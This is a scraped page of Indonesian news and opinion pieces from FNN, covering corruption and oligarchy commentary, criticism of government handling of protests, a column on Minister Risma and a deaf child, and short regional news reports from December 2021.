Perihal korupsi, saya telah beberapa kali menulis. Argumentasi saya terdiri dari 3 bagian. Pertama, korupsi adalah perbuatan pemimpin yang diangkat maupun ditunjuk. Adapun pengangkatan dan penunjukkan pemimpin dilakukan melalui proses politik. Karena itu akar korupsi adalah politik. Kedua, dalam politik demokrasi, pemimpin diangkat melalui pemilihan umum. Tetapi orang tidak boleh lupa bahwa pemimpin yang mengikuti pemilu harus dicalonkan. Celakanya, proses pencalonan itu didominasi oleh oligarki politik. Oligarki itu mengumpulkan uang dari para calon sebelum maupun sesudah terpilih. Oligarki memperkuat diri dengan dua cara: feodalisme dan uang. Feodalisme meletakkan sentimen darah lebih penting dari lainnya, oleh karena itu politik dinasti meruyak hampir di semua partai. Sementara uang adalah cara paling cepat dan efektif membeli dukungan. Di era Jokowi ini kekuatan oligarki feodal bergabung dengan oligarki finansial menjadi kekuatan yang sangat dahsyat. Dalam 6 tahun terakhir ini oligarki feodal-finansial telah membangun jejaring kekuasaan yang mendominasi seluruh aparat negara. Dengan kata lain, aparat negara telah kehilangan "kenegaraannya", mereka telah berubah menjadi "aparat kekuasaan". Di dalam konteks partai politik yang feodal, sangat haus uang dan mendominasi aparat negara itulah seharusnya kita memahami Edhy Prabowo dan OTT KPK-nya. Penulis Pemerhati Politik, Demokrasi, dan Isu Kebangsaan

Saat Rakyat Menjadi Musuh Negara

Oleh: Yusuf Blegur Pemberontakan sebagai upaya makar yang diwarnai aksi kekerasan, pemerkosaan, pembunuhan dan aksi teroris yang nyata dilakukan KKB di Papua. Seperti tak terlihat dan terus diabaikan oleh pemerintah. Begitupun kejahatan-kejahatan extra ordinari crime lainnya seperti marak dan telanjangnya korupsi dalam pemerintahan. Keterlibatan bisnis para pejabat sebagai siasat dan kamuflase merampok uang negara. Ditambah perilaku menyimpang dan biadab yang dilakukan tidak sedikit aparatur baik kepada rakyat maupun antar insitusi. Pemerintah seperti tak bisa melihat, mendengar dan merasakan semua distorsi kenegaraan itu. Sebaliknya, rezim seperti terhalang penuh pandangannya karena kegiatan reuni 212 dan pelbagai aksi unjuk rasa. Setiap panggung demokrasi dan parlemen jalanan divonis sebagai gerakan yang merongrong, mengancam dan membahayakan pemerintah. Berbeda dengan kejahatan dan aksi teroris yang sebenarnya, rakyat yang menyampaikan aspirasi dan sikap kritisnya dengan damai dan dijamin konstitusi, dijadikan rezim sebagai musuh negara. Harus ditindak , direpresi dan diskriminalisasi. Saat berlangsungnya kegiatan reuni 212 di Jakarta. Pemerintah mengerahkan ribuan polisi dan tentara dengan berbagai kelengkapan armada dan senjatanya. Kawat berduri hampir setinggi orang dewasa menjadi pagar betis dengan penjagaan dan patroli aparat keamanan dari TNI dan Polri. Pemerintah seolah sedang menyiapkan perang kota. Kendaraan perang, seragam dan persenjataan lengkap menghiasi jantung kota Jakarta. Disiagakan hanya untuk menghadapi penyampaian unjuk rasa super damai umat Islam. Aksi 212 di Monumen Nasional yang sebelumnya pernah menghadirkan 7 juta rakyat dengan tidak satupun menimbulkan keributan, lemparan batu ke aparat, pembakaran mobil dan gedung apalagi sampai menimbulkan kerusuhan. Seperti menyindir, pemerintah tampak linglung dan terkesan bodoh hanya untuk membedakan mana momen penyampaian demokrasi yang menjadi hak konstitusi rakyat, dan mana situasi dan tempat yang menjadi medan pertempuran fisik atau perang yang sesungguhnya. Rezim kekuasaan cenderung sudah tidak lagi memiliki kehormatan dan kewibawaan. Denyut nadi dinamika rakyat selalu dihadapi dengan pendekatan keamanan. Melibatkan aparat dengan penggunaan senjata dan kekerasan seperti menjadi solusi dalam menghadapi rakyat. Bahkan dimana rakyat hanya sekedar menyampaikan aspirasi. Sikap kritis dan refleksi rakyat terhadap proses penyelenggaraan negara, dinilai sebagai upaya pembangkangan dan perlawanan rakyat. Kegagalan proses politik dan hukum dari parlemen dan institusi negara lainnya, membuat rakyat memilih demokrasi jalanan sebagai ruang ekspres. Itupun harus dihadapi dengan tindakan represi aparat. Bukan sekedar penangkapan, partisipasi rakyat yang dilindungi konstitusi itu diframing sedemikian rupa dengan isu ditunggangi atau berkedok makar dan teroris. Semua stereotif intoleran, radikal dan fundamental diumbar rezim sebagai cara efektif meredakan dan membungkam aksi yang dianggap merongrong kekuasaan. Rakyat seperti sudah kehilangan tempat mengadu. Bukan hanya dalam ranah konstitusional, bahkan di jalananan pun tak ada lagi keadilan. Negara Kekuasaan Pemerintahan hampir 8 tahun ini, sekarang sudah dipastikan tidak lagi menjalankan ketatanegaraan berdasarkan UUD 1945 dan Pancasila. Selain menghianati cita-cita proklamasi kemerdekaan RI. Rezim ini juga membajak negara dengan menguras semua kekayaan alam dan melumpuhkan kedaulatan rakyat. Politik dan hukum dirancang sedemikian rupa hanya untuk menguasai ekonomi bagi segelintir kepentingan oligarki. Kekuasaan, selain untuk kelompoknya sendiri juga membiarkan kepentingan asing menikmati semua yang ada di negeri ini. Kalangan minoritas telah menguasai dam menjajah mayoritas, begitulah realitas Indonesia. Rakyat terasa seperti hidup di negara asing. Tanpa kedaulatan dan akses pada sektor-sektor strategis yang menjamin kesejahteraan hidupnya. Di negerinya sendiri rakyat hanya cukup punya tempat tinggal dan bekerja memenuhi kebutuhannya yang berujung pada hidup pas-pasan dan malah serba kekurangan. Keterbatasan rakyat dalam banyak hal justru terjadi saat sekelompok orang menguasai dan mengeksploitasi bumi dan kekayaan alam yang terkandung di dalamnya. Penderitaan rakyat menyebar seiring perampasan tanah rakyat, penguasaan hutan untuk perkebunan dan pembangunan smelter pertambangan atas nama industrialisasi oleh asing dan oligarki. Selain dikeruk kekayaannya, negara juga terancam mengalami kerusakan alam dan ekosistem lingkungan. Bukan hanya kemiskinan, banjir bandang dan tanah longsor semakin melengkapi penderitaan rakyat. Rezim bersama kepentingan asing berpesta-pora korupsi dalam kemasan utang dan investasi. Demi menjalankan misi itu, semua kendala dan hambatan harus disingkirkan. Apapun caranya, berapapun ongkosnya dan bagaimanapun resikonya. Visi kekuasaan memang bertolang belakang dengan visi kenegaraan. Pemerintah telah mewujud sebagai rezim otoriterian dan diktatorian dalam negara kekuasaan bukan sebagai negara kesejahteraan. Kekuatan oposisional dari semua kesadaran kritis kebangsaan, telah menjadi representasi kedaulatan dan gerakan rakyat. Mahasiswa, buruh, intelektual dan akademisi menyatu dengan rakyat menggugat rezim. Tuntutan perubahan tak bisa dicegah lagi. Rontoknya ekonomi dan karut marutnya politik semakin membawa negara pada kegagalan dan kebangkrutan. Secara faktual, negara juga diambang degradasi sosial dan disintegrasi nasional. Pemulihan dan perbaikan negara hanya bisa dimulai dan dilakukan dengan mengganti kepemimpinan nasional. Hal ini membuat rezim defensif dan semakin beringas mematikan eksistensi oposisi. Rezim kekuasaan yang menjadi boneka dan budak bagi kepentingan asing. Namun seperti menjadi monster pembunuh bagi rakyatnya sendiri. Rakyat yang sejatinya pemilik kedaulatan negara dan memberikan amanat kepemimpinan nasional melalui perwakilannya. Oleh wakilnya sendiri dan pemerintah telah diperlakukan sebagai sampah dan mengganggu kenyamanan kekuasaan. Dalam perspektif politik, rezim menganggap rakyat sebagai masalah dan beban yang mengancam kesinambungan kekuasaan. Rakyat hanya boleh berada ditempat yang marginal, tercampakkan dan dihinakan oleh rezim. Rakyat seiring waktu telah mengganggu kekuasan dan dibuat layaknya menjadi musuh negara. Menjadi musuh dari negara yang sesungguhnya milik rakyat sendiri. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari. [contact-form][contact-field label="Nama" type="name" required="true" /][contact-field label="Surel" type="email" required="true" /][contact-field label="Situs web" type="url" /][contact-field label="Pesan" type="textarea" /][/contact-form]

Maksud Baik Risma

Oleh Ady Amar *) Tri Rismaharini, biasa dipanggil Risma, Menteri Sosial RI, selalu buat berita. Jika mengira berita terbarunya masih seputar marah-marah, itu tidak salah. Memang marah seolah jadi ciri khasnya. Semacam kegemaran, acap emosinya tak tertahan, meledak jadi kemarahan. Seperti orang tidak sabaran, itu jadi trade mark seorang Risma. Risma memang buat berita, tapi kali ini bukan berita marah-marah khasnya. Sikapnya kali ini sebenarnya diniatkan memberi semangat pada penderita disabilitas. Tapi laku Risma seolah "memaksa" penyandang disabilitas, tepatnya tunarungu, berbicara di hadapan banyak orang. Peristiwa itu terjadi saat peringatan Hari Disabilitas Internasional, 1 Desember 2021. Ia mengajak Aldi, seorang tunarungu naik ke atas panggung. Memberi semangat, terkesan memaksa, agar ia mau berbicara. Risma memintanya untuk menyampaikan apa yang ada dipikirannya, dan itu dengan berbicara langsung tanpa alat bantu. Kata Risma menyemangati, "Kamu ingin kita tidak merusak bumi kan? Kamu sekarang ibu minta bicara tidak pakai alat, kamu bicara Aldi... kamu bicara," sebagaimana dikutip dari YouTube Kemensos RI, Kamis (2/11/2021). Dengan tergagap-gagap, yang dibantu Risma, keluar dari mulut anak itu, "Aldi mau lestarikan alam." Maka tepuk tangan membahana. "Bisa lo Aldi... bisa Aldi kamu bicara," ucap Risma penuh kebanggaan. Gaya Risma yang memaksa mendapat protes banyak pihak, termasuk kaum disabilitas sendiri. Risma ingin menyamakan kemampuan semua orang itu sama, dan itu di hadapan banyak orang. Risma tidak menyelami jenis penyandang tunarungu yang bermacam tingkatan, dan mereka lebih nyaman berbicara dengan bahasa isyarat, tapi dipaksanya untuk berbicara. Gaya Risma memang terbiasa dengan gaya memaksa. Itu yang biasa ia lakukan pada bawahan disekelilingnya. Jika tidak sesuai dengan yang diinginkan, maka bawaan Risma marah-marah. Bahkan jika target tidak bisa dipenuhinya atau di luar ekspektasinya, ia akan menangis sesunggukan sampai ndelosor segala. Setidaknya adegan itu pernah ia lakukan di hadapan pengurus Ikatan Dokter Indonesia (IDI) Surabaya. Saat itu ia masih sebagai Walikota Surabaya. Saat Covid-19 di Surabaya meningkat pesat, sehingga RS-RS yang ada kewalahan menampung pasien, Risma tampak stres dan sesunggukan sampai pingsan segala. Risma memang atrakrif. Gaya memaksa seorang Risma pastilah tidak disadarinya, yang itu diteruskan pada anak-anak disabilitas yang pendekatannya seharusnya dengan metode khusus, metode tidak biasa. Niat Risma ingin menyetarakan anak disabilitas dengan anak normal itu baik, jika itu menyangkut perlakuan yang sama dalam hal memperoleh hak-hak manusiawi. Tapi menjadi absurd jika yang diinginkan adalah kemampuan berbicara anak tunarungu yang bisa sama dengan anak normal. Sesuatu yang pastinya tidak akan sama. Menjadi salah besar jika pandangan Risma soal kesetaraan, itu seolah anak disabilitas itu sebagai anak kurang pintar yang karenanya ingin disetarakan. Tidak bisa disamakan demikian. Disabilitas mestinya dilihat sebagai kekurangan pada fisik dan itu kodrati. Tidak perlu harus disetarakan dengan cara dipaksa melakukan yang membuatnya tidak nyaman. Komunikasi yang dibangun Risma selalu pada persepsi atas dirinya. Sehingga tanpa ia sadari, kaum disabilitas pun dipaksanya bisa melakukan hal yang sama atas nama kesetaraan. Justru hal sebaliknya yang Risma pertontonkan, itu pun tanpa disadarinya, ia menekan psikis penyandang disabilitas di depan publik luas. Risma tampak belum mampu berkomunikasi dengan hati, dan itu dengan pendekatan proyeksi. Melihat pihak lain bukan sebagaimana dirinya. Dengan begitu, ia menyesuaikan dengan kemampuan pihak lain. Apalagi saat berkomunikasi dengan pihak disabilitas, yang pastinya diperlukan pola komunikasi khusus pula. Maksud baik Risma yang ingin menyetarakan kaum disabilitas, itu dinilai tidak tepat dan dianggap menekan psikologis Aldi. Perlakuan yang dianggap baik, itu tidaklah cuma diukur dengan persepsi seorang Risma. Jika itu yang dilakukan, maka komunikasi yang dimunculkan adalah komunikasi menekan, menganggap itu yang paling tepat. Maka, menekan itu pun sebenarnya marah-marah dalam maknanya yang lain, yang punya nilai sama-sama kerasnya. Bahkan menekan psikis, itu punya daya rusak lebih dahsyat. Meski itu dimaksudkan untuk hal yang dianggapnya baik. Kasihan sebenarnya Risma itu. Menjadi tak pantas menghukumnya berlebihan. Justru kita dituntut empati, mampu melihat niat baiknya meski yang dimunculkan hal yang tidak semestinya. Mau apa lagi... (*) *) Kolumnis

Anis Matta: Pesantren Berperan Penting Mengubah Kerumunan Umat Menjadi Kekuatan Nyata

Jakarta, FNN - Pesantren telah hadir dan berperan sepanjang umur bangsa Indonesia. Sejak proses embrio nasionalisme, perjuangan kemerdekaan, hingga jihad mempertahankan kemerdekaan setelah proklamasi kemerdekaan 17 Agustus 1945. Pesantren juga telah menjadi pemasok pemimpin dan cendekiawan bangsa yang berperan di berbagai bidang. Kini, saatnya pesantren lebih berperan mengubah kerumunan Umat menjadi kekuatan nyata. “Di tengah krisis global, umat Islam harus memahami betul situasinya. Jangan sampai kita berkelahi karena ada pihak lain yang membuat perang. Kita tidak perlu defensif. Sebaliknya, kita harus ofensif memperkenalkan cara kerja dan cara berpikir Islam kepada publik yang luas,” kata Anis Matta, Ketua Umum DPN Partai Gelombang Rakyat Indonesia, dalam kunjungan silaturahmi ke Pondok Pesantren Attaqwa di Kecamatan Babelan, Kabupaten Bekasi, pada Jumat, 3 Desember 2021. Anis datang bersama Fahri Hamzah, Wakil Ketua Umum DPN Partai Gelora, dan rombongan pengurus nasional, serta Haris Yuliana, Ketua DPW Partai Gelora Jawa Barat, beserta pengurus daerah hingga tingkat Kabupaten Bekasi. Anis dan rombongan diterima oleh KH Irfan Mas’ud, pimpinan Pesantren Attaqwa. Anis menjelaskan visi perjuangan keumatan Partai Gelora. Visi tersebut dimulai dengan penerimaan fakta bahwa negara Indonesia berdiri dengan satu kesepakatan dasar negara yang bernama Pancasila. Menurut Anis, inilah buah ijtihad para ulama dan pemimpin umat yang terlibat dalam perdebatan itu dan perdebatan itu sudah selesai, termasuk bentuk negara kesatuan Republik Indonesia. “Kita percaya pada demokrasi karena demokrasi adalah ruang bagi semua dan karenanya umat Islam harus ada di pusaran kekuatan utama masyarakat. Sudah waktunya kita mengubah kerumunan umat menjadi kekuatan yang representasinya nyata di dalam kekuatan politik. Di sini, pesantren punya peran yang sangat penting,” ujar Anis. Umat Islam harus berpikir membangun platform baru untuk seluruh bangsa Indonesia, lanjut Anis, dan dalam konteks itu bangsa Indonesia perlu cita-cita baru untuk diperjuangkan bersama. “Inilah yang mendasari Partai Gelora mengajak seluruh elemen bangsa memperjuangkan agar Indonesia menjadi kekuatan ke-5 dunia. Saat ini sedang terjadi krisis global dan ada peluang bagi Indonesia untuk mengambil peran sebagai salah satu pemimpin dunia. Namun untuk itu kita perlu cita-cita baru,” tambah Anis. Sosok KH Noer Alie juga menjadi inspirasi bagi Anis karena memiliki dimensi yang lengkap, baik sebagai ulama yang mempelajari ilmu agama hingga ke Makkah, mujahid dalam perjuangan mempertahankan kemerdekaan bersama Hizbullah, dan politisi dengan menjadi salah seorang pemimpin Masyumi dan anggota Konstituante. Dari pengalaman dan wawasan Kiai Noer itulah, Anis memaparkan, Pesantren Attaqwa tumbuh menjadi salah satu tempat untuk belajar sekaligus menempa jati diri muslim para santrinya. Acara ditutup dengan ziarah di makan Kiai Noer Alie yang telah ditetapkan sebagai pahlawan nasional pada 2006. [end]

Aparat Gabungan Sita 755 Botol Minuman Keras di Purwakarta

Purwakarta, FNN - Aparat gabungan di Kabupaten Purwakarta, Jawa Barat, menyita ratusan botol minuman keras atau minuman beralkohol berbagai jenis dalam Operasi Pekat pada Jumat (3/12) malam hingga Sabtu dini hari. "Ada sekitar 755 botol minuman beralkohol berbagai merk yang berhasil diamankan dalam operasi tersebut," kata Kasatpol PP Kabupaten Purwakarta, Aulia Pamungkas di Purwakarta, Sabtu. Operasi pekat menjelang liburan Natal dan Tahun Baru yang digelar di sejumlah titik wilayah Purwakarta digelar Satpol PP bersama Sub Denpom dan Polres Purwakarta. "Operasi ini dilaksanakan menjelang liburan Natal dan Tahun Baru, guna meminimalisir angka kriminalitas di Purwakarta," katanya. Ia mengatakan, operasi pekat juga digelar sebagai upaya Pemkab Purwakarta dalam menegakkan Perda nomor 13 tahun 2007 tentang Miras dan Pelacuran. Kabid Dalops Satpol PP Purwakarta Teguh Juarsa menyebutkan kalau operasi pekat akan terus dilakukan. Pihaknya akan terus melakukan hingga akhir tahun nanti. "Kami tidak akan berhenti razia miras pada hari ini saja, akan tetapi sampai dengan akhir tahun, kami akan monitoring ke semua titik target yang telah kami awasi dan amati," kata Teguh. Ia mengajak masyarakat Purwakarta untuk menjauhkan diri dari minuman beralkohol. Sebab kebanyakan tindak pidana terjadi berawal dari seringnya mengonsumsi minuman beralkohol. (sws)

Komnas Perempuan Dorong Pemahaman Perspektif Korban Kekerasan Seksual

Jakarta, FNN - Komisioner Komnas Perempuan Imam Nahei mendorong aparat penegak hukum dan pihak pendamping dalam penanganan kasus kekerasan seksual serta masyarakat di Indonesia untuk memahami perspektif korban, khususnya para perempuan. “Terutama di kepolisian dan kejaksaan, saya kira perspektif perempuan korban kekerasan seksual menjadi pengetahuan yang harus mereka miliki,” ujar Imam Nahei selaku narasumber webinar nasional “Kekerasan Seksual di Kampus” yang dilaksanakan secara hybrid dan disiarkan langsung di kanal YouTube Suara Asa Khatulistiwa, dipantau dari Jakarta, Sabtu. Dengan pemahaman perspektif korban, lanjut dia, kasus pelaporan balik ataupun situasi yang justru menyudutkan korban saat mengakui tindak kekerasan seksual yang dialaminya dapat dihindari. Di samping itu, menurutnya, penanganan kasus kekerasan seksual, terutama terhadap perempuan di Indonesia sering mengalami kendala pada tahapan pembuktian. Hal tersebut disebabkan korban yang membutuhkan waktu lama untuk berani melapor sehingga sebagian besar bukti tidak lagi dapat dikumpulkan. “Korban untuk angkat bicara itu rata-rata butuh waktu yang lama karena memperhatikan banyak hal, seperti aspek lingkungan dan hukum. Belum lagi kalau dia mengalami kekerasan yang lain, dia tidak berani bersuara dalam waktu cukup lama dan bukti-bukti kemungkinan sudah banyak hilang,” jelas Imam Nahei. Dengan demikian, ujar dia, pemahaman perspektif korban juga menjadi salah satu jalan keluar untuk mengupayakan keadilan bagi mereka. Untuk mengoptimalkan pemahaman terhadap perspektif perempuan korban kekerasan seksual, menurut Imam Nahei, Komnas Perempuan sebenarnya telah melakukan berbagai pelatihan, baik kepada aparat penegak hukum maupun perguruan tinggi. Namun, ujar dia, upaya tersebut juga harus dikuatkan dengan dukungan dari seluruh elemen masyarakat untuk semakin mengedepankan perspektif perempuan korban kekerasan seksual. Imam Nahei pun berharap warga akademik dapat mengambil peran dalam menanamkan pemahaman tentang perspektif perempuan korban kekerasan seksual. “Kami juga berharap kawan-kawan di kampus terus memberikan perspektif korban itu,” tutup Imam Nahei. (sws)

Tim SAR Cari ABK Kapal Penarik yang Terjatuh di Perairan Sungailiat

Sungailiat, Bangka, FNN - Tim SAR Pangkalpinang Provinsi Kepulauan Bangka Belitung mencari seorang anak buah kapal penarik peralatan tambang bijih timah tradisional yang terjatuh di perairan Pantai Parai Sungailiat, Kabupaten Bangka. Kepala Kantor SAR Pangkalpinang, Fazzli melalui pesan resmi yang diterima di Bangka, Sabtu mengatakan, korban bernama Harwin yang berada di kapal penarik peralatan tambang biji timah tradisional jenis ponton dari Jebus Bangka Barat pukul 00.00 WIB menuju pelabuhan Sampur Pangkalpinang. Berdasarkan laporan sekitar pukul 02.00 WIB kapal penarik peralatan tambang biji timah tradisional jenis ponton menabrak batu karang tepat di perairan pantai Parai Sungailiat, Selain Harwin yang jatuh ke laut dan masih dalam pencarian, terdapat satu temannya dinyatakan selamat. Tim SAR gabungan dengan melibatkan personel TNI, Polri, BPBD setempat dan relawan Laskar Sekaban beserta masyarakat nelayan masih melakukan pencarian korban di sekitaran lokasi kejadian. "Berdasarkan informasi data BMKG, cuaca di perairan pantai Parai kondisi berawan dan hujan dengan kecepatan angin tujuh knot tinggi gelombang 0,2 sampai 2,5 meter," katanya. Dia menyatakan, tim gabung saat ini masih terus melakukan pencarian korban dengan harapan segera dapat ditemukan. "Saya ingatkan seluruh pengguna jasa pelayaran agar tetap memperhatikan standar keselamatan mulai dari memperhatikan kondisi cuaca sampai dengan kelengkapan sarana keselamatan," ujarnya. (sws)

Polda Jabar Bekuk Sindikat Pemalsu Kartu Prakerja

Bandung, FNN - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Jawa Barat membekuk sindikat pemalsu Kartu Prakerja yang merugikan negara hingga Rp18 miliar. Direktur Reserse Kriminal Khusus Polda Jawa Barat Kombes Pol Arief Rachman mengatakan empat pelaku pemalsu Kartu Prakerja itu ditangkap di salah satu hotel yang ada di Bandung. Keempat pelaku itu, kata dia, berinisial AP, AE, RW, dan WG. "Mereka ini membuat Kartu Prakerja fiktif dengan mendapat keuntungan total Rp18 miliar," kata Arief di Polda Jawa Barat, Kota Bandung, Jawa Barat, Sabtu. Menurutnya pengungkapan itu bermula dari adanya informasi kebocoran data kependudukan yang disalahgunakan dengan cara diperjualbelikan secara ilegal. Kemudian penyidik Ditreskrimsus menurutnya melakukan penyelidikan dengan patroli siber. Selain itu, penyidik juga menemukan petunjuk bahwa aksi tersebut merupakan perbuatan dari sindikat dan bukan perorangan. Penyidik kemudian menemukan petunjuk dari Kartu Prakerja data hasil retasan tersebut. Para pelaku diduga menjebol data kependudukan yang ada di Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) berbagai daerah. Menurutnya aksi pemalsuan Kartu Prakerja itu sudah dilakukan sejak tahun 2019. "Mereka diduga melakukan akses ilegal terhadap database (basis data) kependudukan yang digunakan untuk membuat Kartu Prakerja fiktif yang merupakan program pemerintah dalam Pemulihan Ekonomi Nasional (PEN)," kata dia. Kini empat pelaku beserta barang buktinya telah diamankan di Polda Jawa Barat untuk diminta keterangannya atas perbuatannya tersebut. Polisi masih melakukan pendalaman dalam penyelidikan yang dilakukan guna menetapkan pasal yang akan disangkakan kepada empat pelaku tersebut. (sws)

Menteri PPPA: Perempuan Perlu Miliki Literasi Digital yang Cakap

Jakarta, FNN - Menteri Pemberdayaan Perempuan dan Perlindungan Anak Bintang Puspayoga mengatakan bahwa perempuan perlu memiliki literasi digital yang cakap untuk melindungi diri di dunia maya dan mencegah dampak buruk dari internet. Bintang dalam diskusi daring bertema "Mengenal Kejahatan Media Sosial untuk Memperkuat Ketahanan Keluarga" yang dipantau secara daring di Jakarta, Sabtu, mengatakan bahwa terbukanya akses internet tidak cukup karena penggunaannya tanpa disertai dengan literasi digital yang cakap juga bisa membawa dampak buruk. "Karakteristik dunia digital yang tanpa batas saat ini telah memunculkan berbagai kejahatan yang patut diwaspadai, salah satunya adalah kekerasan berbasis gender online," kata dia. Bintang menyebut bahwa kekerasan berbasis gender yang terjadi secara daring risikonya semakin meningkat di masa pandemi ini. Berdasarkan catatan tahunan dari Komnas Perempuan tahun 2021, laporan kekerasan berbasis gender daring naik sekitar empat kali lipat dari tahun 2019 ke tahun 2020. Kekerasan berbasis daring juga berisiko bagi anak-anak. Data Komisi Perlindungan Anak Indonesia mengungkapkan bahwa sepanjang tahun 2020 telah diterima 621 laporan kasus terkait pornografi dan cybercrime yang melibatkan anak. "Oleh karenanya literasi digital perempuan tidak hanya penting untuk melindungi dirinya sendiri, namun juga untuk melindungi anak-anaknya," kata dia. Bintang menegaskan bahwa literasi digital bukan hanya menjadi kewajiban ibu semata, tetapi harus dilakukan secara bersama-sama dengan ayah. "Baik orang tua maupun anak harus memiliki pemahaman akan berbagai risiko internet, modus-modus kejahatan yang sering terjadi, alat perlindungan di internet, dan cara melindungi diri di internet," katanya. (mth)

Warga Diminta Siaga Adanya Potensi Banjir Rob di Pesisir Surabaya

Surabaya, FNN - Warga Kota Surabaya diminta siaga dengan adanya peringatan dini dari Badan Meteorologi Klimatologi dan Geofisika (BMKG) berupa potensi banjir rob yang terjadi pada 2-7 Desember 2021 di kawasan pesisir Surabaya. Kepala Badan Penanggulangan Bencana dan Perlindungan Masyarakat (BPB Linmas) Irvan Widyanto di Surabaya, Sabtu, mengatakan, pihaknya berharap warga Kota Surabaya menyadari dan siaga terhadap potensi banjir rob ini. "Hal itu bisa dimulai dari diri sendiri, keluarga dan lingkungan sekitarnya. Yang paling penting juga, apabila terjadi kedaruratan apapun di Surabaya, silahkan langsung menghubungi Command Center 112 untuk mendapatkan bantuan," katanya. Menurut dia, BMKG Stasiun Meteorologi Maritim Kelas II Tanjung Perak, Surabaya mengeluarkan peringatan dini potensi banjir rob akibat fenomena pasang maksimum air laut. Diperkirakan banjir rob akan terjadi mulai 2-7 Desember 2021, sekitar pukul 21.00 WIB-24.00 WIB di kawasan pesisir Surabaya dan sekitarnya. Irvan mengatakan, Pemkot Surabaya telah menyiapkan sejumlah langkah antisipasi jika terjadi banjir rob atau ketinggian air diprediksi mencapai 1,5 meter dari permukaan laut di wilayah pesisir. Selama ini, lanjut dia, Pemkot Surabaya sudah memasang Videotron/WID yang selalu update memberikan informasi terkait tinggi gelombang, kecepatan angin dan cuaca di pesisir pantai. "Videotron ini dipasang mulai dari Romokalisari, Sontoh Laut dan juga di Taman Suroboyo," ujarnya. Selain itu, ia memastikan sudah melakukan pelatihan praktek evakuasi mandiri untuk warga pesisir. Tentunya, dengan mengikuti jalur evakuasi yang sudah ditentukan menuju assembly point (titik kumpul) yang sudah ditentukan pula. "Sehingga kita berharap apabila ada tanda-tanda akan terjadi gelombang tinggi air laut yang terdapat di Videotron, dengan ketinggian di atas 2,5 meter atau pasang air laut di atas 150 cm dan kecepatan angin di atas 20 knot atau 37 km/jam, maka kita berharap warga bisa melakukan evaluasi mandiri tanpa harus menunggu bantuan," kata dia. Selain itu, lanjut dia, apabila ada update dari BMKG Maritim terdapat potensi kenaikan air laut dan tinggi gelombang, maka BPB Linmas akan langsung mendirikan posko siaga di Romokalisari, Sontoh Laut dan Taman Suroboyo. Mereka akan dibekali peralatan mulai dari perahu karet bermesin, pelampung, ringbuoy, tali, genset, lampu dan beberapa peralatan lainnya. "Bahkan, nanti kami akan woro-woro, baik melalui toa yang dipasang di perkampungan nelayan di SIB maupun melalui megaphone dengan keliling kampung nelayan untuk meminta sementara waktu tidak melaut dan tidak mendekati bibir pantai," katanya. (mth)

Komnas Perempuan Dorong Pemahaman Perspektif Korban Kekerasan Seksual

Jakarta, FNN - Komisioner Komnas Perempuan Imam Nahei mendorong aparat penegak hukum dan pihak pendamping dalam penanganan kasus kekerasan seksual serta masyarakat di Indonesia untuk memahami perspektif korban, khususnya para perempuan. “Terutama di kepolisian dan kejaksaan, saya kira perspektif perempuan korban kekerasan seksual menjadi pengetahuan yang harus mereka miliki,” ujar Imam Nahei selaku narasumber webinar nasional “Kekerasan Seksual di Kampus” yang dilaksanakan secara hybrid dan disiarkan langsung di kanal YouTube Suara Asa Khatulistiwa, dipantau dari Jakarta, Sabtu, 4 Desember 2021. Dengan pemahaman perspektif korban, lanjut dia, kasus pelaporan balik ataupun situasi yang justru menyudutkan korban saat mengakui tindak kekerasan seksual yang dialaminya dapat dihindari. Di samping itu, menurutnya, penanganan kasus kekerasan seksual, terutama terhadap perempuan di Indonesia sering mengalami kendala pada tahapan pembuktian. Hal tersebut disebabkan korban yang membutuhkan waktu lama untuk berani melapor sehingga sebagian besar bukti tidak lagi dapat dikumpulkan. “Korban untuk angkat bicara itu rata-rata butuh waktu yang lama karena memperhatikan banyak hal, seperti aspek lingkungan dan hukum. Belum lagi kalau dia mengalami kekerasan yang lain, dia tidak berani bersuara dalam waktu cukup lama dan bukti-bukti kemungkinan sudah banyak hilang,” jelas Imam Nahei, sebagaimana dikutip dari Antara. Dengan demikian, ujar dia, pemahaman perspektif korban juga menjadi salah satu jalan keluar untuk mengupayakan keadilan bagi mereka. Untuk mengoptimalkan pemahaman terhadap perspektif perempuan korban kekerasan seksual, menurut Imam Nahei, Komnas Perempuan sebenarnya telah melakukan berbagai pelatihan, baik kepada aparat penegak hukum maupun perguruan tinggi. Namun, ujar dia, upaya tersebut juga harus dikuatkan dengan dukungan dari seluruh elemen masyarakat untuk semakin mengedepankan perspektif perempuan korban kekerasan seksual. Imam Nahei pun berharap warga akademik dapat mengambil peran dalam menanamkan pemahaman tentang perspektif perempuan korban kekerasan seksual. “Kami juga berharap kawan-kawan di kampus terus memberikan perspektif korban itu,” tutup Imam Nahei. (MD).

Dekranasda NTT Gagas "Tenun Masuk Sekolah" untuk Regenerasi Penenun

Kupang, FNN - Dewan Kerajinan Nasional Daerah (Dekranasda) Nusa Tenggara Timur menggagas Program Tenun Masuk Sekolah untuk meregenerasi sumber daya manusia (SDM) penenun dari kalangan para pelajar di provinsi berbasiskan kepulauan itu. "Melalui program Tenun Masuk Sekolah ini kami mendorong kaum milenial dari kalangan pelajar untuk mencintai tenun ikat sebagai warisan leluhur," kata Ketua Dekranasda NTT Julie Sutrisno Laiskodat dalam keterangan yang diterima di Kupang, Sabtu. Ia menjelaskan pihaknya menggandeng dinas pendidikan provinsi setempat untuk memasukkan pelajaran tenun ikat dalam kurikulum untuk diajarkan kepada para pelajar tingkat menengah. Ia mencontohkan seperti yang dilakukan belum lama ini pada sekolah SMA Negeri Tobu, Kabupaten Timur Tengah Selatan, Pulau Timor. Julie Laiskodat mengatakan selama ini kegiatan menenun tenun ikat di NTT pada umumnya dijalankan oleh ibu-ibu rumah tangga. Namun seiring waktu jumlah penenun semakin berkurang karena tidak diteruskan oleh anak-anak mereka. "Oleh karena itu melalui program ini kami berupaya meregenerasi sumber daya manusia penenun kepada para pelajar," kata Anggota DPR RI dari daerah pemilihan NTT itu. Ia menjelaskan pada setiap sekolah yang menjadi sasaran program juga akan dibantu peralatan tenun sehingga bisa digunakan untuk kegiatan praktik para siswa. Hasil karya tenun ikat yang dikerjakan oleh para siswa, kata dia selanjutnya akan dibeli atau dipasarkan melalui Dekranasda NTT. "Jadi kami sekaligus membuka akses pemasaran hasil karya dari para pelajar sekaligus menjadi sumber pendapatan sekolah," katanya. Julie Sutrisno berharap dengan upaya ini maka ke depan kegiatan menenun tenun ikat di NTT tetap lestari karena sudah masuk dalam kurikulum 